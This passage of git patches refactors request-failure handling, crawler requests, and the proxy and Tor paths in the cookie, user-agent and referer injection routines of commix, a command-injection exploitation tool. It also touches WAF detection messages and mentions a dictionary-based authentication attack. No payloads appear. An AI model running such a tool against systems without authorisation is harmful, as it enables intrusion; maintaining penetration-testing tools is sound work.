diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 7d7be61904..ab91e7e535 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -17,6 +17,7 @@
import sys
import time
import socket
+from socket import error as SocketError
from src.utils import menu
from os.path import splitext
from src.utils import settings
@@ -25,16 +26,50 @@
# accept overly long result lines
_http_client._MAXLINE = 1 * 1024 * 1024
from src.utils import common
+from src.utils import crawler
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
+from src.core.requests import requests
from src.core.requests import parameters
+from src.core.requests import redirection
from src.core.requests import authentication
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
+from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.colorama import Fore, Back, Style, init
+
+"""
+Do a request to target URL.
+"""
+def crawler_request(url):
+ try:
+ if menu.options.data:
+ request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
+ else:
+ request = _urllib.request.Request(url)
+ headers.do_check(request)
+ headers.check_http_traffic(request)
+ if menu.options.proxy:
+ response = proxy.use_proxy(request)
+ elif menu.options.tor:
+ response = tor.use_tor(request)
+ else:
+ response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None:
+ if response.geturl() != url:
+ href = redirection.do_check(request, url, response.geturl())
+ if href != url:
+ crawler.store_hrefs(href, identified_hrefs=True, redirection=True)
+ return response
+ except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
+ if url not in settings.HREF_SKIPPED:
+ settings.HREF_SKIPPED.append(url)
+ settings.CRAWLED_SKIPPED_URLS_NUM += 1
+ request_failed(err_msg)
+
"""
Estimating the response time (in seconds).
"""
@@ -308,6 +343,7 @@ def get_request_response(request):
Exceptions regarding requests failure(s)
"""
def request_failed(err_msg):
+ settings.VALID_URL = False
try:
error_msg = str(err_msg.args[0]).split("] ")[1]
except IndexError:
@@ -315,62 +351,95 @@ def request_failed(err_msg):
error_msg = str(err_msg.args[0])
except IndexError:
error_msg = str(err_msg)
- if any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]):
- err = "Unable to connect to "
+
+ if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]):
+ settings.MAX_RETRIES = 1
+ error_msg = "Can't establish SSL connection. "
+ if settings.MULTI_TARGETS or settings.CRAWLING:
+ error_msg = error_msg + "Skipping to the next target."
+ print(settings.print_critical_msg(error_msg))
+ if not settings.CRAWLING:
+ raise SystemExit()
+ else:
+ return True
+
+ elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]):
+ settings.MAX_RETRIES = 1
+ err = "Unable to connect to the target URL"
if menu.options.proxy:
- err += "proxy"
+ err += " or proxy"
+ err = err + " (Reason: " + str(error_msg) + "). "
+ if settings.MULTI_TARGETS or settings.CRAWLING:
+ err = err + "Skipping to the next target."
+ error_msg = err
+ print(settings.print_critical_msg(error_msg))
+ if not settings.CRAWLING:
+ raise SystemExit()
else:
- err += "the target URL"
- err = err + " (Reason: " + str(error_msg) + ")."
- print(settings.print_critical_msg(err))
- raise SystemExit()
+ return True
- settings.VALID_URL = False
- reason = ""
- if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
- reason = str(err_msg)
- if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
- pass
+ elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
+ if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR or settings.PERFORM_CRACKING:
+ return True
else:
err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). "
err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')"
if menu.options.auth_type and menu.options.auth_cred:
- if settings.MULTI_TARGETS:
+ if settings.MULTI_TARGETS or settings.CRAWLING:
err_msg += ". "
else:
err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. "
else:
err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. "
- if settings.MULTI_TARGETS:
+ if settings.MULTI_TARGETS or settings.CRAWLING:
err_msg += "Skipping to the next target."
print(settings.print_critical_msg(err_msg))
- if (menu.options.auth_type and menu.options.auth_cred) or not settings.MULTI_TARGETS:
+ if not settings.CRAWLING:
+ if menu.options.auth_type and menu.options.auth_cred:
raise SystemExit()
- if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \
- settings.FORBIDDEN_ERROR in str(err_msg).lower() or \
- settings.NOT_FOUND_ERROR in str(err_msg).lower():
- reason = str(err_msg)
+ elif settings.TOTAL_OF_REQUESTS == 1:
+ if "IncompleteRead" in str(error_msg):
+ error_msg = "There was an incomplete read error while retrieving data "
+ error_msg += "from the target URL."
+ elif "infinite loop" in str(error_msg):
+ error_msg = "Infinite redirect loop detected. "
+ error_msg += "Please check all provided parameters and/or provide missing ones."
+ elif "BadStatusLine" in str(error_msg):
+ error_msg = "Connection dropped or unknown HTTP "
+ error_msg += "status code received."
+ elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg):
+ error_msg = "Connection was forcibly closed by the target URL."
+ elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]:
+ status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]
+ if not settings.NOT_FOUND_ERROR in str(err_msg).lower():
+ warn_msg = "The web server responded with an HTTP error code (" + str(status_code[0]) + ") which could interfere with the results of the tests."
+ print(settings.print_warning_msg(warn_msg))
+ return True
+ else:
+ error_msg = "The provided target URL seems not reachable. "
+ error_msg += "In case that it is, please try to re-run using "
+ if not menu.options.random_agent:
+ error_msg += "'--random-agent' switch and/or "
+ error_msg += "'--proxy' option."
+ print(settings.print_critical_msg(error_msg))
+ if not settings.CRAWLING:
+ raise SystemExit()
+ else:
+ return True
+
+ elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \
+ (menu.options.ignore_code and menu.options.ignore_code in str(error_msg).lower()):
+ return True
- if settings.MULTI_TARGETS:
- if len(reason) != 0 and (not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(reason)] or \
- menu.options.ignore_code and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR):
- reason = reason + ". Skipping to the next target."
- print(settings.print_critical_msg(reason))
- raise SystemExit()
- if settings.EOF:
- print(settings.SINGLE_WHITESPACE)
- return False
else:
- err_msg = reason
- if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \
- (menu.options.ignore_code and menu.options.ignore_code in str(err_msg).lower()) or \
- settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
- return True
- else:
- if len(err_msg) != 0 and not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ if settings.VERBOSITY_LEVEL >= 1:
+ if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]:
+ debug_msg = "Got " + str(err_msg)
+ print(settings.print_debug_msg(debug_msg))
+ else:
+ print(settings.print_critical_msg(err_msg))
+ return True
"""
Check if target host is vulnerable. (Cookie-based injection)
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 4c5d495f02..e9be40c905 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -21,7 +21,7 @@
from src.utils import common
from src.core.injections.controller import checks
from src.core.requests import headers
-from socket import error as SocketError
+from src.core.requests import requests
from src.core.requests import proxy
from src.core.requests import redirection
from src.thirdparty.six.moves import http_client as _http_client
@@ -180,30 +180,7 @@ def store_hrefs(href, identified_hrefs, redirection):
Do a request to target URL.
"""
def request(url):
- try:
- # Check if defined POST data
- if menu.options.data:
- request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
- else:
- request = _urllib.request.Request(url)
- headers.do_check(request)
- headers.check_http_traffic(request)
- if menu.options.proxy:
- response = proxy.use_proxy(request)
- elif menu.options.tor:
- response = tor.use_tor(request)
- else:
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- if not menu.options.ignore_redirects:
- href = redirection.do_check(request, url)
- if href != url:
- store_hrefs(href, identified_hrefs=True, redirection=True)
- return response
- except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
- if url not in settings.HREF_SKIPPED:
- settings.HREF_SKIPPED.append(url)
- settings.CRAWLED_SKIPPED_URLS_NUM += 1
- checks.connection_exceptions(err_msg, url)
+ return requests.crawler_request(url)
"""
Enable crawler.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 568b180a42..a7d2dca63f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "56"
+REVISION = "57"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From e24a953c9d49940972712fd6053f69002a81408b Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 6 Feb 2023 07:49:28 +0200
Subject: [PATCH 276/560] Minor update regarding commit:
https://github.com/commixproject/commix/commit/6b10092c1771a89b0417e5f4b2c989453549de3e
---
src/core/injections/controller/checks.py | 25 +-
src/core/requests/requests.py | 559 ++++-------------------
src/utils/crawler.py | 79 ++--
src/utils/settings.py | 2 +-
4 files changed, 138 insertions(+), 527 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 03373b53cc..4b38beb9ef 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -680,20 +680,19 @@ def continue_tests(err):
return True
# Possible WAF/IPS/IDS
- if (str(err.code) == settings.FORBIDDEN_ERROR or \
- str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \
- not menu.options.skip_waf and \
- not settings.HOST_INJECTION :
- # Check if "--skip-waf" option is defined
- # that skips heuristic detection of WAF/IPS/IDS protection.
- settings.WAF_ENABLED = True
- warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS."
- print(settings.print_warning_msg(warn_msg))
-
try:
+ if (str(err.code) == settings.FORBIDDEN_ERROR or \
+ str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \
+ not menu.options.skip_waf and \
+ not settings.HOST_INJECTION :
+ # Check if "--skip-waf" option is defined (to skip heuristic detection of WAF/IPS/IDS protection).
+ settings.WAF_ENABLED = True
+ warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS."
+ print(settings.print_warning_msg(warn_msg))
+
while True:
- message = "Do you want to ignore the response HTTP error code (" + str(err.code)
- message += ") and continue the tests? [Y/n] > "
+ message = "Do you want to ignore the response HTTP error code '" + str(err.code)
+ message += "' and continue the tests? [Y/n] > "
continue_tests = common.read_input(message, default="Y", check_batch=True)
if continue_tests in settings.CHOICE_YES:
return True
@@ -704,6 +703,8 @@ def continue_tests(err):
else:
common.invalid_option(continue_tests)
pass
+ except AttributeError:
+ pass
except KeyboardInterrupt:
raise
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index ab91e7e535..8cab82f762 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -218,18 +218,6 @@ def estimate_response_time(url, timesec):
ignore_end = time.time()
start = start - (ignore_start - ignore_end)
- except socket.timeout:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "The connection to target URL has timed out."
- print(settings.print_critical_msg(err_msg) + "\n")
- raise SystemExit()
-
- except _urllib.error.URLError as err_msg:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(str(err_msg.reason) + "."))
- raise SystemExit()
except ValueError as err_msg:
if settings.VERBOSITY_LEVEL != 0:
@@ -237,6 +225,9 @@ def estimate_response_time(url, timesec):
print(settings.print_critical_msg(str(err_msg) + "."))
raise SystemExit()
+ except Exception as err_msg:
+ request_failed(err_msg)
+
end = time.time()
diff = end - start
@@ -273,77 +264,12 @@ def estimate_response_time(url, timesec):
return timesec, url_time_response
-"""
-Get the response of the request
-"""
-def get_request_response(request):
-
- headers.check_http_traffic(request)
- # Check if defined any HTTP Proxy.
- if menu.options.proxy:
- response = proxy.use_proxy(request)
-
- # Check if defined Tor.
- elif menu.options.tor:
- try:
- response = tor.use_tor(request)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- else:
- try:
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- if not str(err_msg.code) == str(menu.options.ignore_code):
- err = str(err_msg) + "."
- if settings.VERBOSITY_LEVEL < 2:
- print("\r" + settings.print_critical_msg(err) + 30 * settings.SINGLE_WHITESPACE)
-
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
- return response
-
"""
Exceptions regarding requests failure(s)
"""
def request_failed(err_msg):
settings.VALID_URL = False
+
try:
error_msg = str(err_msg.args[0]).split("] ")[1]
except IndexError:
@@ -361,7 +287,7 @@ def request_failed(err_msg):
if not settings.CRAWLING:
raise SystemExit()
else:
- return True
+ return False
elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]):
settings.MAX_RETRIES = 1
@@ -376,11 +302,11 @@ def request_failed(err_msg):
if not settings.CRAWLING:
raise SystemExit()
else:
- return True
+ return False
elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR or settings.PERFORM_CRACKING:
- return True
+ return False
else:
err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). "
err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')"
@@ -412,10 +338,11 @@ def request_failed(err_msg):
error_msg = "Connection was forcibly closed by the target URL."
elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]:
status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]
+ warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + "' which could interfere with the results of the tests."
+ print(settings.print_warning_msg(warn_msg))
if not settings.NOT_FOUND_ERROR in str(err_msg).lower():
- warn_msg = "The web server responded with an HTTP error code (" + str(status_code[0]) + ") which could interfere with the results of the tests."
- print(settings.print_warning_msg(warn_msg))
- return True
+ return False
+ return True
else:
error_msg = "The provided target URL seems not reachable. "
error_msg += "In case that it is, please try to re-run using "
@@ -424,13 +351,26 @@ def request_failed(err_msg):
error_msg += "'--proxy' option."
print(settings.print_critical_msg(error_msg))
if not settings.CRAWLING:
- raise SystemExit()
+ raise SystemExit()
else:
- return True
+ return False
elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \
(menu.options.ignore_code and menu.options.ignore_code in str(error_msg).lower()):
- return True
+ return False
+
+ elif settings.IGNORE_ERR_MSG == False:
+ if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
+ continue_tests = checks.continue_tests(err_msg)
+ if continue_tests == True:
+ settings.IGNORE_ERR_MSG = True
+ return False
+ else:
+ if not settings.CRAWLING:
+ raise SystemExit()
+ else:
+ return False
else:
if settings.VERBOSITY_LEVEL >= 1:
@@ -439,7 +379,32 @@ def request_failed(err_msg):
print(settings.print_debug_msg(debug_msg))
else:
print(settings.print_critical_msg(err_msg))
- return True
+ return False
+
+"""
+Get the response of the request
+"""
+def get_request_response(request):
+
+ headers.check_http_traffic(request)
+ if menu.options.proxy:
+ try:
+ proxy = request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
+ response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ except Exception as err_msg:
+ response = request_failed(err_msg)
+ elif menu.options.tor:
+ try:
+ response = tor.use_tor(request)
+ except Exception as err_msg:
+ response = request_failed(err_msg)
+ else:
+ try:
+ response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ except Exception as err_msg:
+ response = request_failed(err_msg)
+
+ return response
"""
Check if target host is vulnerable. (Cookie-based injection)
@@ -483,91 +448,23 @@ def inject_cookie(url, vuln_parameter, payload, proxy):
start = time.time()
proxy = None
- #response = inject_cookie(url, vuln_parameter, payload, proxy)
-
- # Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_cookie(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err_msg = str(err_msg) + "."
- print("\n" + settings.print_critical_msg(err_msg))
- continue_tests = checks.continue_tests(err)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- # Check if defined Tor.
+ except Exception as err_msg:
+ response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_cookie(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
+ except Exception as err_msg:
+ response = request_failed(err_msg)
else:
try:
response = inject_cookie(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
-
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ except Exception as err_msg:
+ response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
@@ -611,94 +508,23 @@ def inject_user_agent(url, vuln_parameter, payload, proxy):
start = time.time()
proxy = None
- #response = inject_user_agent(url, vuln_parameter, payload, proxy)
- # Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_user_agent(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- # Check if defined Tor.
+ except Exception as err_msg:
+ response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_user_agent(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
+ except Exception as err_msg:
+ response = request_failed(err_msg)
else:
try:
response = inject_user_agent(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ except Exception as err_msg:
+ response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
@@ -713,7 +539,6 @@ def inject_user_agent(url, vuln_parameter, payload, proxy):
def referer_injection(url, vuln_parameter, payload):
def inject_referer(url, vuln_parameter, payload, proxy):
-
if proxy == None:
opener = _urllib.request.build_opener()
else:
@@ -743,95 +568,24 @@ def inject_referer(url, vuln_parameter, payload, proxy):
start = time.time()
proxy = None
- #response = inject_referer(url, vuln_parameter, payload, proxy)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_referer(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- # Check if defined Tor.
+ except Exception as err_msg:
+ response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_referer(url, vuln_parameter, payload, proxy)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
- err_msg = ' '.join(err_msg)+ "."
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
+ except Exception as err_msg:
+ response = request_failed(err_msg)
else:
try:
response = inject_referer(url, vuln_parameter, payload, proxy)
-
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
